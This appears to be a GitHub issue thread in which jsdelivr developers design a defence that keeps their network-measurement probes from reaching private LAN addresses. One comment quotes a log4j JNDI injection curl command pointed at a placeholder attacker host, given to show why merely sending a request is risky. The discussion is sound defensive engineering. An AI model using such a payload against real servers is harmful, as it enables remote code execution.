Prevent all LAN access

[jsdelivr]

Prevent all LAN access

[patrykcieszkowski]

So the problem with manual DNS resolution is the fact we'd have to duplicate the PING/DIG functionality, or completely rebuild probes sourcecode, for command constructors to be reusable across the entire app.

A better solution might be placing the check on the HTTP level - either by comparing the IP address after completed request (it should be available in the response body, right?), or by overriding got's DNS lookup method https://github.com/sindresorhus/got/blob/main/documentation/2-options.md#dnslookup

[jimaek]

Yeah so far it seems there is no way to block the test from running, we can only check the results and not-return them to the API after running. But the same logic must apply to all other tests as well, current and future, not just HTTP.

[patrykcieszkowski]

We could run node's native DNS lookup. But it would give us an array of results - we have no guarantee which value is it's going to be resolved into by the command. The same goes to the idea of running a PING query - it picks the first IP of the list.

https://nodejs.org/api/dns.html#dns_dns_lookup_hostname_options_callback

[jimaek]

I meant when you run a ping test we have the field resolvedAddress": "142.250.72.142", so there is no need to do a pre-check. We just run the test normally and do a post-check. If the test resulted in a private IP then return an error instead of results

[jimaek]

But we need to make sure that all of our tests have that data, dns, traceroute, http, future mtr...
We would need to extract the resolved IP from all of those tests, to have this post-check verification work.
But it's also a nice feature for the user if he can get the resolved IP regardless of the test.

[patrykcieszkowski]

I'm lost. What should the dns command check for exactly?

But it's also a nice feature for the user if he can get the resolved IP regardless of the test.

they get that with ping command, dns doesn't have anything to return, other than the resolver server (local by default), and list of dns records.

[jimaek]

We basically need a resolvedAddress for every test to run the private iP

• Ping has it already. Done.
• Traceroute has it already. But we need to check ONLY the last hop resolvedAddress.
• Dig has it already but it depends on the type. value": "172.217.170.110" so basically check the values, if its a hostname then ignore. If its an IP then do private IP verification.
• HTTP will provide resolvedAddress as part of the metadata it returns
• MTR will also need resolvedAddress, I think it provides it by default

So no extra tests pre-check are needed

[patrykcieszkowski]

I'm not asking about pre-checks. I'm trying to understand your logic. What do we check on dns type? Every answer? Why? It won't put the probe host in danger, and what do we do, if one of many answers turns out to be a private IP?

Also, traceroute returns a resolved IP address in the header, just like ping does. Do we really need to validate hops?

[jimaek]

Indeed, traceroute does it the same as ping. so no need to check hops. So that's simple.

I'm not asking about pre-checks. I'm trying to understand your logic. What do we check on dns type? Every answer? Why? It won't put the probe host in danger, and what do we do, if one of many answers turns out to be a private IP?

The goal is to protect the LAN against device mapping. e.g. run DNS tests against "asusrouter" or "nfs" or other popular local hostnames to make a list of local devices.

Not sure if every type, maybe only A and ANY?

if one of many answers turns out to be a private IP?

Kill the whole test then, otherwise its too easy to bypass the check.

[MartinKolarik]

For HTTP we should check beforehand. Run a DNS resolve in node, then use the resolved IP for the HTTP request. The same could be done for everything other than dig probably, but it isn't so important there.

[jimaek]

A pre-test resolve would warm the cache and make the latency results unreliable

[MartinKolarik]

Ok, I suppose that's a good argument for not doing it for ping. But for HTTP that's not a big issue, right?

[jimaek]

It is because we will return metadata with detailed timings including DNS resolve

[MartinKolarik]

Then we can probably measure the precheck DNS resolve instead.

[jimaek]

Haha I guess, but it really makes the whole thing a lot more complicated.
What's the issue with just checking the output and blocking the test? It should be safe

[MartinKolarik]

The issue is that sending the request itself may be dangerous, even if we don't show the output. E.g., a recent log4j RCE that you probably heard of: curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://attacker/a}'

Even if we didn't allow custom headers, often just the path may be enough.

[patrykcieszkowski]

A better solution might be placing the check on the HTTP level - either by comparing the IP address after completed request (it should be available in the response body, right?), or by overriding got's DNS lookup method https://github.com/sindresorhus/got/blob/main/documentation/2-options.md#dnslookup

eh-ehm

[MartinKolarik]

Indeed, if it's based on got, you can do that and it won't even mess up timings.

[jimaek]

Ok this sounds like the best solution. Just need to make sure we consider the caching issue in the custom DNS logic

[jimaek]

Everything discussed here was implemented so we can close this issue i believe